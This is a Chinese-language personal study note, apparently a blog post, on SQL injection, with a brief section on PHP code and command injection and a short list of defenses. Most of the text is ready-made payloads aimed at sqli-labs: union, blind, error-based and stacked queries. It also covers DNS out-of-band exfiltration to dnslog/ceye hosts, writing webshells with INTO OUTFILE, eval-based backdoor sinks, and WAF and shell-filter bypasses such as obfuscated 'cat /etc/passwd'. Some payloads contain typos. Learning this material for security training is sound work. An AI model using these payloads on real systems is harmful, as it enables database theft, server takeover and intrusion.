【SQL注入学习笔记】

1. 什么是sql注入

SQL 注入就是指 web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql语句来实现对数据库的任意操作;
即通过把sql命令插入到Web表单提交或输入域名或页面请求的查询字符串中,最终欺骗服务器执行恶意的SQL命令

2. 产生 SQL 注入的原理

当在一个网页中进行搜索某些内容,在这通信期间的大概过程为:你按下回车键,一个带有你输入的关键字通过GET或POST请求发送到服务器,业务逻辑层的Web服务器通过脚本引擎解析你的请求,动态地构造sql语句,并请求DBMS,执行SQL语句;DBMS返回SQL执行结果给Web Server,Web Server将页面封装成HTML格式响应给浏览器,浏览器解析HTML,将内容呈现给你。

3. SQL注入产生的危害

  1. 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
  2. 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
  3. 如果网站目录存在写入权限,可以写入网页木马,拿到webshell,攻击者进而可以对网页进行篡改,发布一些违法信息等。
  4. 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

4. 基础准备

文章学习平台freebuf

4.1 MYSQL基本操作

mysql的系统库:

  1. information_schema:元数据库,存放了所有的数据库、表、列
  2. mysql
  3. performance_schema
  4. sys

information_schema有:

  1. SCHEMATA表 : 提供了当前mysql实例中所有数据库的信息。
  2. TABLES 表 : 提供了关于数据库中的表的信息。
  3. COLUMNS 表 :提供了表中的列信息。

MYSQL的基本操作:
MySQL的系统库 information_schema,存储着所有的数据库的相关信息,之后可以利用该库进行一次完整的注入。

猜数据库:
show databases;
select schema_name from frominformation_schemata;
猜某库的数据表:
select table_name from information_schema.tables where table_schema=‘xxxx’;
猜某表的所有列 :
select column_name from information_schema.columns where table_name=‘xxxxx’ and table_schema=‘xxxx’;
获取某列的内容:
select * from 表名;

4.2 HTTP基础

  1. 提交注入
    Post、Get、cookie、request(全接受)、server(http头部进行注入)
  2. Get:url中有id参数
  3. Post:url中没有id参数,但页面中有输入框
  4. Cookie:在post请求中进行抓包,添加(或修改)一段cookie值

用sqlmap中的参数:-r 一般是在以下类型中常用
post
搜索型注入
http头注入
登陆后的注入点有:cookie

5. 注入方式

注入类型

  1. 数字型注入(不需要闭合)
  2. 字符型注入(需要闭合)

5.1 所需工具

  1. sqlmap
    链接地址:https://github.com/sqlmapproject/sqlmap
  2. Burpsuite
  3. phpstudy 用来搭建环境
  4. dnslogSql
    链接地址:https://github.com/ADOOO/DnslogSqlinj
  5. sql注入靶场:
    sql-labs
    DVWA
    pikachu

5.2 union基础手注

细节注意:

  1. 单引号闭合前查询语句(必须形成闭合语句,否则数据库查询报错);
  2. –+注释后面的查询语句,与-- 等价(注意有空格)或#注释。
  3. 原查询语句返回的列数必须与注入语句返回列数相等。
  4. order by盲注列数排序。

常用方法与表:

concat()	//将多个字符串拼接成一个字符串
concat_ws()	//一次性指定分隔符,在多个字符串基础上都加上分隔符拼接成一个字符串
group_concat()  //聚合函数
information_schema  //元数据库名
table_schema  //数据库名
table_name  //表名
column_name  //列名称

常规注入步骤:

url/index.php?id=1' order by 3 --+
url/index.php?id=-1' union select 1,2,3 --+
url/index.php?id=-1' union select database(),2,3 --+      //查询所得当前数据库名称为$db
url/index.php?id=-1' union select 1,2,group_concat(schema_name) FROM information_schema.schemata --+	//查所有的数据库
url/index.php?id=-1' union select 1,2,group_concat(TABLE_NAME) FROM information_schema.TABLES where table_schema='$db' --+    //查询所得表名为$table
url/index.php?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_name='$table' and table_schema='$db' --+   //查询所得列名分别为$col1,$col2,$col3
url/index.php?id=-1' union select $col1,$col2,$col3 from $table --+    //完成注入
url/index.php?id=-1' union select group_concat(schema_name) from information_schema.schemata --+	//查出所有库名

手工注入顺序案例:

数字型注入:
url?id=1 order by 4 --+
# 判断有多少列
url?id=-1 union select 1,2,3 --+
# 判断数据显示点
url?id=-1 union select 1,user(),database()­­+
# ­显示出登录用户和数据库名
url?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 --+
# 查看数据库有哪些表
url?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 --+
# 查看对应表有哪些列
url?id=-1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 --+
# 查看账号密码信息

特殊情况:

注释不可用情况下:
1.采用url?id=1 and 1=1 或 url?id=1' and '1'='1 进行探测注入点
http://localhost/sqli-labs/Less-23/?id=-1' union select 1,2,3 and '1'='1	//往后照常注入
http://localhost/sqli-labs/Less-23/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

and/or(&&/||)不可用情况:
1.使用url编码对&&/||进行编码注入
http://localhost/sqli-labs/Less-25/?id=1' %26%26 1=2 --+	//%26%26为&&
http://localhost/sqli-labs/Less-25/?id=1' %26%26 updatexml(1,concat(0x7e,database(),0x7e),1) --+

5.3 布尔盲注

Boolean是基于真假的判断(true or false);不管输入什么,结果都只返回真或假两种情况。Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果判断正确与否。
盲注有时需要一个一个字符去猜,因此一些字符串操作的函数经常被用到。

适用场景:没有数据回显,条件正确有结果,错误没结果
利用方式:构造判断条件,逐个猜测(盲猜)

length():返回查询字符串长度
mid(column_name ,start,length):截取字符串
substr(string,start,length):截取字符串
Left(string,n):截取字符串
ORD():返回字符的AScii码
ASCII():返回字符的AsCii码
substring(string,start,end)
like		//匹配注入,(不常用)
regexp		//正则注入,(不常用)

例子:

1 and length(database())=5
1 and substr(database()2,1)='e'--+	#如果正确响应结果,说明数据库名的第2个字符是e

#截取字符
select left('abcdefghijklm',5);
select MID('abcdefghijklm',5,5);
select substr('abcdefghijklm',5,5);
select ascii(substr('abcdefghijklm',5,5));

#转成ASCII码
select ORD('a');
select ASCII('a');

#正则
select user() regexp '^ro';
select user() like 'ro%';

使用BurpSuite(Intruder模块)进行遍历,获取正确的数据库名称。

注入案例:

#第一步,判断数据库长度
url/index.php?id=1' and length(database())=8 --+
#第二步判断数据库,截取字符
url/index.php?id=1' and left(database(),1)='s' --+
url/index.php?id=1' and substr(database(),1,1)='s' --+
url/index.php?id=1' and ascii(substr((查询语句 limit 0,1)1,1))=105 --+
url/index.php?id=1' and select ORD(MID((select IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=68 --+
#第三步,判断表的数量
url/index.php?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=7 --+	
#第四步,判断表名的长度
url/index.php?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5 --+
#第五步,判断表名
url/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101 --+	
#第六步,判断列的数量
url/index.php?id=1' and (select count(column_name) from information_schema.columns where table_name='env_list')>1 --+
#第七步,判断列名的长度
url/index.php?id=1' and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)=7 --+	
#第八步,判断列名
url/index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>1 --+		

5.4 时间注入

适用场景:没有数据回显,条件正确与否结果一样
利用方式:构造判断条件(and),添加sleep,逐个猜测(盲猜)

时间注入所需函数与布尔盲注大多一样:

length():返回查询字符串长度
mid(column_name ,start ,length):截取字符串
substr(string,start,length):截取字符串
Left(string,n):截取字符串
ORD():返回字符的ASCii码
ASCII():返回字符的ASCii码
if():逻辑判断
sleep():控制时间
benchmark():控制时间
  1. 截取长度 select length(database())=8;
  2. 判断,赋值 if(expression,val1,val2) --if((1=1),3,2);
  3. 睡眠N秒 select sleep(4);
  4. 如果数据库名字长度为8,则sleep1秒,否则返回0
select sleep(if((select length(database())=8),3,0));  
等价于select if(length(database())=8,sleep(3),0);

例子:

url/index.php?id=1' and if((length(database())>5),sleep(5),1) --+
# 基本操作
url/index.php?id=1' and if(ascii(substr((查询语句 limit 0,1),1,1))>101,sleep(1),0) --+
# 猜表名
url/index.php?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database=() limit 0,1),1,1))>101,sleep(1),0) --+
# 猜列名
url/index.php?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database=() and table_name='emails' limit 0,1),1,1))>101,sleep(1),0) --+
# 猜数据
url/index.php?id=1' and if(ORD(MID((select IFNULL(CAST(username AS CHAR),0x20) FROM security.users ORDER BY id LIMIT 0,1),1,1))=68,sleep(1),0) --+

差不多就是在布尔盲注的基础上进行休眠

5.5 报错注入

适用场景:没有数据回显,条件正确与否结果一样,sleep没区别,但是错误信息会打印出来
利用方式:利用语法(参数)错误,把value在前端输出

十种报错注入参考文档
参考链接:https://blog.csdn.net/weixin_38023368/article/details/120101000
常用方法:

extractvalue(arg1,arg2)		#arg为参数
updatexml(arg1,arg2,arg3)
floor()						#floor(rand(0)*2)

常用payload:

# 一般用法
url/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+		
url/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,@@datadir),1) --+
  1. 从XML节点中查找节点
SELECT extractValue('<a>b</b></a>','/a/b');
  1. 更新XML节点的值
SELECT
updateXML('<a><b>ccc</b><d></d></a>','/a','<e>fff</e>') AS val1
updateXML('<a><b>ccc</b><d></d></a>','/b','<e>fff</e>') AS val2
updateXML('<a><b>ccc</b><d></d></a>','//b','<e>fff</e>') AS val3
updateXML('<a><b>ccc</b><d></d></a>','/a/d','<e>fff</e>') AS val4
updateXML('<a><d></d><b>ccc</b><d></d></a>','/a/d','<e>fff</e>') AS val5
  1. mysql错误语法
SELECT extractValue('', concat('~',version()));	#有两个参数
select updateXML('',concat('~',version()),'');	#有三个参数
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

  1. 其他不允许有语法错误的函数
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()

例子:

#一般用法
url/index.php?id=1' and updatexml(1,concat(0x7e,(查询语句),0x7e,[]),1) --+
		
url/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e,@@datadir),1) --+
# 0x7e为~,目的是区分返回的数据
# @@datadir,存储数据的路径

url/index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,@@datadir),1) --+

sql-labs案例:

# 爆库名及数据库路径
url?id=1' and updatexml(1,concat(Ox7e,database(),0x7e,user(),0x7e,@@datadir),1) --+
# 爆表名
url?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
# 爆列名
url?id=1' and updatexml(1.concat(0x7e,(select group_concat(column_name) from informaton_schema.columns where table_schema='secuity' and table_name='users'),0x7e),1) --+

5.6 DNSlog注入

适用场景:在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功
利用方式:使用dnslog平台收集带有数据库相关的三级域名访问日志信息

注入原理:
将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的四级域名带出,在ns服务器的dns日志中显示出来。

注入前准备:

secure_file_priv 为null,表示不允许导入导出
secure_file_priv 指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv 没有设置时,则表示没有任何限制
可了解一下load_file和outfile

1. DNSLog平台 
www.dnslog.cn 或 www.ceye.io(http请求需要安装curl命令)(ceye api 脚本  dnslogsqlinj)
2. UNC(windows) 	# 通用命名规则
3. MySQL读写函数  	# secure_file_priv
4. 读取文件select LOAD_FILE('路径');  
	1、只能访问本机的文件 
	2、文件需要有读取权限 
	3、字节数小于max_allowed_packet
5. 写入文件select 123 INTO OUTFILE '路径';   
	# 例如:路径E:\\in.txt  # 123为更改后的内容

流程:
6. 把select LOAD_FILE()注入到数据库,访问文件
7. UNC构建DNS服务器地址,假装访问文件,产生DNSLog
select load_file('aaa.yourid.dnslog.cn/wuya');
8. 把子域名替换成函数或者查询SQL
如:
if((select load_file(concat('',database(),'.yourid.dnslog.cn/wuya'))),1,0); 服务器转义为\\,域名后的/目录名输入随机字符即可

案例: (dnslog三级域名为:wfmwsq.ceye.io)

http://localhost/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select database()),'.wfmwsq.ceye.io\\abc'))--+
http://localhost/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),%27.wfmwsq.ceye.io\\abc'))--+

url?id=1' and if((select load_file(concat('',database(),'.yourid.dnslog.cn/wuya'))),1,0) --+
# 查询第二个数据库名
url?id=1' and if((select load_file(concat('',(select schema_name from information_schema.schemata limit 1,1),'.yourid.dnslog.cn/wuya'))),1,0) --+
url?id=1' and if((select load_file(concat('',(查询语句),'.yourid.dnslog.cn/wuya'))),1,0) --+

dnslogsqlinj注入脚本语法:

只能在python2版本中可用

dnslogSql.py -u http://localhost/sqli-labs/Less-9/?id=1 -c
dnslogSql.py -u "http://localhost/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
--dbs             get database
-D DB             database name
--tables          get table
-T TABLE          table name
--columns         get column
-c COLUMN    	  column name
--dump            get data

5.7 更新类基础手注

案例:

# php中可能的拼接:insert inte user(username,password) values('wowo' or updatexml(1,concat(0x7e,database(),0x7e),1) or '','123456')
payload:
	wowo',or updatexml(1,concat(0x7e,database(),0x7e),1) or '
# php中可能的拼接::update user ser username = 'wowo' where userid=1 or updatexml(1,concat(0x7e,database(),0x7e),1)
payload:
	1 or updatexml(1,concat(0x7e,database(),0x7e),1)
# php中可能的拼接::update user ser password = '1111' or updatexml(1,concat(0x7e,database(),0x7e),1) or '' where userid=1 
payload:
	1111' or updatexml(1,concat(0x7e,database(),0x7e),1) or '	//与上一条一样
# php中可能的拼接::delete from user where userid=1 or updatexml(1,concat(0x7e,database(),0x7e),1)
payload:
	1 or updatexml(1,concat(0x7e,database(),0x7e),1)

5.7 堆叠查询注入

堆叠查询注入可以执行多条sql语句,语句直接用(;)隔开
小知识点:

  1. 可以使用堆叠注入的地方也可以使用布尔盲注与时间盲注;
  2. 同样先找出正确的闭合规则,然后也看两种状态来猜解库名、表名等;

类似与下面在分号后面可执行新的语句:

?id=1';select if(length(database())>=8,sleep(4),1)
?id=1;select if(length(database())>1,sleep(3),1)
?id=1;select if(substr(database(),1,1)='r',sleep(3),1)

堆叠的(;)分号后可以执行新的sql语句,因此在知道网站根目录的情况下可以直接写日志拿shell
注意:php代码中必须使用 multi_query()

5.8 二次注入

二次注入概要:

  1. 二次注入一共有两个url,url一用来注入,也就是注入点,插入sql语句的地方,另外一个url用来返回信息;
  2. 也就是url一插入了sql语句,url一的响应里面就会返回这条信息对应的id值,然后url二就传入这个新id值,然后访问,响应回来之后将会爆出sql语句查询的结果,正确或者错误的sql信息;
  3. 就相当于url是一个用户注册的地方,用户注册后会在数据库里面加入新id存放用户的注册信息,那么这个id可以传给url二来访问,url二就可以显示出用户的注册信息,但如果注册信息含义恶意sql语句,url二就会显示出敏感的数据库信息;
  4. 跟union注入攻击差不多,只是回显的信息需要在另外的url中显示出来了;
  5. 后面就是union注入攻击的常规操作。

注:php代码中有使用 addslashes()函数,用来转义处理

5.9 宽字节注入

  1. 如果遇到单、双引号被转义,变成了反斜杠,导致参数id无法逃逸单引号的包围;
  2. 一般情况下,此处就不存在sql注入漏洞的;
  3. 但是如果数据库的编码为GBK时,就可以使用宽字节注入,因此在不知道是否是GBK编码时,都可以尝试去使用宽字节注入;
  4. 宽字节的格式是在地址后先加一个 %df ,再加单引号,因为反斜杠的编码为%5c,在GBK编码中,%df%5c是繁体字“連”,因此,单引号成功逃逸,爆出sql错误;
  5. 因此构造闭合规则时,在单引号前面加上 %df 就行了;
  6. 之后在闭合规则中写入同union注入的一些查询语句就行了;

注:php代码中有使用 addslashes()函数,用来转义处理

5.10 base64注入

  1. 如果遇到url的参数id的值看起来像base64的,先拿去url解码,然后如果是base64,拿去base64解码,解出来的应该就是id的值(1,2等数字);
  2. 那么如果要对这个url进行sql注入测试,就需要对id后面的所有值进行base64编码;
  3. 注入的方式步骤都是跟union注入一样的,只不过后面的所有值(整个payload)都要进行base64编码后传给url的c参数提交,包括闭合规则。

5.11 HTTP请求头注入

参考链接:PHP $_SERVER详解
HTTP头被插入数据库,构建出了Insert语句,那么头信息只要构造为:

$useragent = $_SERVER['HTTP_USER_AGENT"];
$referer = $_SERVER['HTTP_REFERER'];
$xforward = $_SERVER['HTTP_X_FORWARDED_FOR'];
$ipaddr = $_SERVER['REMOTE_ADDR'];
$sq1 = "insert into header(user agent,referer,xforward,ipaddr) values(' $useragent ','$referer','$xforward','$ipaddr')";
$conn->query($sql);
echo mysqli_error($conn);
echo "welcome Here.";

Payload:

Payload:
GET /security/misc.php HTTP/1.1
Host: 192.168.112.188
User-Agent: Mozi11a/5.o (windows NT 10.0; wow64;rv:46.0) Gecko/20100101 Firefox/46.04 
Accept: text/htm1,app1ication/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT:1
Cookie: PHPSESSID=urOpOmmf3u7fh0qetad7ot6ep5
Connection: close
Referer: http://www.woniuxy.com
X-Forwarded-For:' or updatexml(1,concat(Ox7e,database(),0x7e),1) or '

5.11.1 cookie注入

  1. 抓包对一个url的http请求头的所有参数进行sql注入测试,里面的所有参数都有可能存在注入点,如果响应包出现sql报错,那么测试的这个参数就是注入点;
  2. 常见的http头部注入的参数有:【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
  3. 如果测试到cookie参数的时候,响应有报sql错误,那么就是cookie注入攻击;
  4. 和union注入的差别就在于注入点不一样,之后使用union注入的方法即可。

5.11.2 XFF注入

  1. XFF注入即HTTP头部的X-Forwarded-for参数存在sql注入;
  2. 例如测试此参数的值 X-Forwarded-for:127.0.0.1’ 响应有sql报错,那么此处就是注入点;
  3. 之后使用union注入的方法完成即可

6. 奇技淫巧

1. 闭合与逻辑
	payload:1' or '1'='1'	闭合后:id='1' or '1'='1'
	也可以写成1'||'1'='1'	同理也可以使用 && 表示 and
	payliad:1' or 1=1#		闭合后:id='1' or 1=1#'

2. 所有的确定字符串,均可以使用hex函数来处理成16进制,避免引号转义
	select hex('/etc/passwd')		#输出为:2F6574632F706173737764
	select load_file(0x2F6574632F706173737764)
	select hex('1earn')
	select group_concat(table_name)from information_schema.tables where table_schema=Ox6C6561726E
	select hex('%为什么%')
	select * from article where content like 0x25E4B8BAE4BB80E4898825

3. WAF绕过
	双写绕过:
	select and or 等被过滤的话,可以这么构造, selselectect , anandd,这样即使被过滤了剩余字符串也能拼接成正常语句。
	
	大小写绕过:
	selecTAnD,or ,可用来绕过简单的过滤手段

	编码绕过:
		base64,ASCII,16进制
		
	特殊字符绕过:
		空格:/**/,%20,%a0,%0a,%0d,%0b,%0c,select(password)from(user)
		and:&&or:||
		内联注释:select username from /*!user*/ /*!union*/ select 2
		00截断:sel%00ect,mysql中不会截断,但是waf中可能认为截断
		%:sel%ect,如果是iis+asp,百分号会被忽略

7. 知道绝对路径的注入

  1. 如果通过一些方式爆出了网站的根目录,并且知道此站点存在sql注入;
  2. 猜测此数据库可能有file权限,那么我们就可以使用语句:into outfile 来写shell到网站的根目录下,之后用菜刀连接;
  3. 如果数据库没有file权限,那么我们用sqlmap的参数 --is-dba 来查看当前数据库的用户是否有管理员权限;
  4. 如果有管理员权限,我们就可以使用sqlmap里面的参数命令 --os-shell 来上传、反弹shell,最终getshell;
  5. 如果file、管理员权限都没有,那么另寻思路,日志、缓存写入等。

8. 代码及命令注入

8.1 代码注入

php代码中包括以下可执行的函数:

1.eval()函数				# 可执行多段以;结尾的代码
2.assert()函数				# 只能执行一个表达式,故只能执行一段以;结尾的代码
3.preg_replace()函数		# 正则替换,php代码中,该函数中带有/e,则可执行代码
4.create_function()函数		# 创建匿名函数
  1. eval函数
    在PHP中,使用eval(string)函数可以执行任意有效的PHP代码,比如eva(“phpinfo0);”)、 eval("echo date()),也可以是更加复杂的码,比如@eval($_POST[‘code’]);代码,用户提交POST请求参数如下:
code=$a=10; $b=20; print(Sa+$b);
code=$time1 = "2017-11-06 18:58:04";$time2 = "2017-11-06 18:58:09";
echo (strtotime($time2)-strtotime($time1));

或者更加复杂的代码:
code=$conn = mysq1i_connect('127.0.0.1','root','123456','learn');mysqli_set_charset($conn,'utf8');
$result = mysq1i_query($conn,"select * from user");
$rows = mysqli_fetch_all($result);
var_dump($rows);
  1. assert函数
    assert函数用于判断一个表达式是否成立,所以会先执行该表达式,进而达到判断的目的。所以assert相对于eval来说,功能要简单一些,只能执行表达式,但是依然可以达到执行代码的目的,比如针对@assert($_POST[code];的代码,用户提交的POST请求如下:
code=phpinfo();
code=print(date("Y-m-d"));

除此之外,我们也可以构造让assert函数执行eval()函数的Payload:
code=eval('$time1 = "2017-11-06 18:58:04";
$time2 = "2017-11-06 18:58:09";
echo (strtotime($time2)-strtotime($time1));');
  1. preg_replace函数
    针对@preg_replace(“/test/e”,$_POST[code’],“test”);构造的Payload如下;
code=phpinfo();
code=print(date("Y-m-d"));
code=@eval('$a=10;$b=30; print($a+$b);');
  1. create_function()函数
    create_function主要用来创建匿名函数,以下展示了其代码和Payload:
$func =create_function('',$_POST['code']);
$func();

code=phpinfo();
code=$a=11;$b=30;print($a+$b);
code=eval('$a=11; $b=30; print($a+$b);');

反序列化漏洞也是属于代码注入范畴

8.2 命令注入

在PHP中,可以直接执行操作系统的命令,函数包括: system, exec, popen, paassthru, shell_exec

system($_POST['code']);		# system自带回显
echo exec($_POST['code']);	# 必须使用echo回显,echo exec(($_POST['code']));
echo shell_exec($_POST['code']);	
passthru($_POST['code']);

另外一种命令注入的方式,后台直接执行系统命令,而前端参数传入的值是命令的一部分,则也会构成命令注入漏洞。比如后台执行命令:sudo firewall-cmd --add-port=$port/$protocol,而port参数是由前台用户传入的,构建的Payload如下:

80/tcp --permanent; echo "He1o world" /opt/lampp/htdocs/security/temp/mmmm.php;

9. 整体解决思路

1、根据首页提示,结合实际页面显示情况,做基本判断,如果是盲注型,则说明没有回显,
	无论是错误回显还是正确的结果,直接上来先尝试拼接XXX and 1=1和XXX and 1=22、根据提示,组合关键字和拼接的字符串和闭合字符,可以尝试不带引号、单引号、双引号、圆括号、单引号+圆括号、双引号+圆括号、双圆括号。
3、如果根据提示、和以上各种尝试发现还是没有办法获取到有用信息,database(),则可以考虑分析一下源代码。
4、通常使用order by来判断列的数量的时候,基本上都是3列,因为slect * from users为3列。
5、进行布尔盲注时,先使用已知的Payload: and length(database()=8and length(database()=7进行判断,
	进而substr(database(), 1,1)='S'进行进一步的盲注获取结果。
6、如果遇到一些完全没有思路的时候,--尝试着将后台可能使用的SQL语句写出来,再进行分析。
7、如果存在多个参数的时候,可以尝试不同的参数,--不一定必须是第一个参数。比如用户名和密码,都可以进行尝试。
8、使用堆叠注入时,第二条SQL语句的查询结果无法回显,则首先考虑报错的情况,
	如果也没有报错回显,那么考虑写入木马文件的方式: 
	select " <?php phpinfo(); ?> " into outfile "/opt/lampp/htdocs/sqli-lab/cache/mm38.php"
9、但凡是提交Post请求的地方,必须要确认POST请求的URL地址和正文数据。
10、在Select语句中的Order By字段,要么根据列名排序,要么根据列的序号排序,但是无法根据一个列名字符串进行排序。

10. SQL注入语句总结

//数值型注入点
// PHP源码可能写的语句:select * from user where id=1 limit 0,1

?id=1 and 1=1
?id=1 and 1=2
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),versiob()					//常规注入
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)		//报错注入
?id=1 and length(database())=8								//布尔盲注
?id=1 and substr(database(),1,1)='s'						//布尔盲注
?id=1 and if(length(database())=8,sleep(5),1)				//时间盲注
?id=-1 union select 1,2,group_concat(schema_NAME) FROM information_schema.schemata
?id=-1 union select 1,2,group_concat(TABLE_NAME) FROM information_schema.TABLES where table_schema='$database' 
?id=-1 union select 1,2,group_concat(column_name) FROM information_schema.columns where table_name='$table' and table_schema='$database'
//字符型注入点
// PHP源码可能写的语句:select * from user where id='1' limit 0,1

url/index.php?id=1' order by 3 --+
url/index.php?id=-1' union select 1,2,3 --+
url/index.php?id=-1' union select database(),2,3 --+      //查询所得当前数据库名称为$database
url/index.php?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)		//报错注入
url/index.php?id=1' and length(database())=8 --+						//布尔盲注
url/index.php?id=1' and substr(database(),1,1)='s' --+					//布尔盲注
url/index.php?id=1' and if(length(database())=8,sleep(5),1)				//时间盲注
url/index.php?id=-1' union select 1,2,group_concat(schema_NAME) FROM information_schema.schemata --+	//查所有的数据库
url/index.php?id=-1' union select 1,2,group_concat(TABLE_NAME) FROM information_schema.TABLES where table_schema='$database' --+    //查询所得表名为$name1
url/index.php?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_name='$table' and table_schema='$database' --+   //查询所得列名分别为$column1,$column2,$column3
url/index.php?id=-1' union select $column1,$column2,$column3 from $table --+    
//完成注入
//order by注入型
order by基础知识:
order by 只能根据列名、列的序号排序,无法根据列名字符串排序
//拓展为,可在order by 后进行子查询

select * from user where id>3 order by 1				//order by后注入型,猜测原语句写法,按列名1排序
select * from user where id>3 order by 1 desc			//注入语句,1为数值型,desc为降序排列
select * from user where id>3 order by (if(length(database())=8,id,username))	//如果数据库名长度等于8,则按列名为id字段进行排序,否则,按列名为username字段进行排序
payload:
url?sort=1 desc		//探测注入点,降序排列
url?sort=1 and updataxml(1,concat(0x7e,database(),0x7e),1)		//报错注入可行
//盲注,如果数据库名长度等于8,则按列名为id字段进行排序,否则,按列名为username字段进行排序
url?sort=(if(length(database())=8,id,username))
//例子:
http://localhost/sqli-labs/Less-46/?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)			//SELECT * FROM users ORDER BY $id
http://localhost/sqli-labs/Less-47/?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+		//SELECT * FROM users ORDER BY '$id'
http://localhost/sqli-labs/Less-48/?sort=(if(length(database())=8,id,username))	
或 
http://localhost/sqli-labs/Less-48/?sort=1 and if((ascii(substr(database(),1,1))=115),sleep(5),1)	//目前所知,只能用ascii()配合substr()
http://localhost/sqli-labs/Less-49/?sort=1' and if((ascii(substr(database(),1,1))=115),sleep(5),1)--+	

http://localhost/sqli-labs/Less-50/?sort=1;insert into users values(100,'test','test') 
http://localhost/sqli-labs/Less-50/?sort=1;update users set username='test100' where id=100

http://localhost/sqli-labs/Less-51/?sort=1';update users set id=17 where id=100--+

11. SQL注入如何防御

  • 过滤
    • 限制长度
    • 怎么去识别恶意的内容?
union
information_schema
order by
update
drop
select
......
  • 预编译
    参数化
    绑定变量

  • 转义

\' \" \\
直接把用户的输入当成文本
魔术引号:magic quote
  • 数据库异常信息隐藏
    error based
    封装异常

  • 禁用某些参数
    secure file priv

  • 权限的定义
    root
    sims… :DBA分配了一个数据库的账号”sims“

  • 数据加密
    传输、存储

  • 防火墙,限制同IP多少长时间
    禁IP访问
    黑名单

等等

12. WAF绕过

绕过的方法——很多变体

  1. 对关键字进行不同编码
select * from zzz = select * from %257a%257a%257a 	//url编码
"单引号" = %u0027、%u02b9、%u02bc 	//Unicode编码
adminuser = 0x61646D696E75736572	//部分十六进制编码
"空格" = %20 %09 %0a %0b %0c %0d %a0	//各类编码
  1. 对关键字进行大小写变换
union select = uNIoN sELecT
  1. 通过其他语义相同的关键字替换
And = && 
or =||
"等于" = like或综合<>判断
if(a,b,c) = case when(A) then B else C end
substr(str,1.1) = substr (str) from 1 for 1
limit 1,1 = limit 1 offset 1
Union select 1,2 = union select * from ((select 1)join (select 2)B:
hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()
  1. 配合Windows特性
whoami = ((((Wh^o^am""i))))		//利用符号分割字符执行whoami
whoami = set a=net&&b=user&&call %a%%b%		//利用变量分割关键字执行whoami
set a=123whoami456/为了方便演示这里设置一个变量
echo %a:~3,6%	//取出变量a的第3位开始,共计6个字符
%a:~3,6%	//执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测
  1. 配合Linux特性
whoami = w'h'o'a'm"i""	//单引号或双引号连接符,需要闭合
Cat /etc/passwd = cat /?t/??ss"" 	//?,"通配符
whoami = /b[12312i]n/w[23sh]oa[2msh]i 	//[]通配符,匹配[]中的字符
Whoami = a=who&&b=ami&&SaSb		//当然linux下也可以变量拼接
cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd 	//目录穿越 ./被拦截
  1. http协议绕过
  2. 配合过滤代码或漏洞本身
    在这里插入图片描述
  3. 配合Mysql特性
    在这里插入图片描述
  4. 网络结构绕过
    在这里插入图片描述

本文章为个人学习时所记笔记,个中内容或有所不足,仅当参考

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星空☜

你的鼓励将是我创作的最大动力

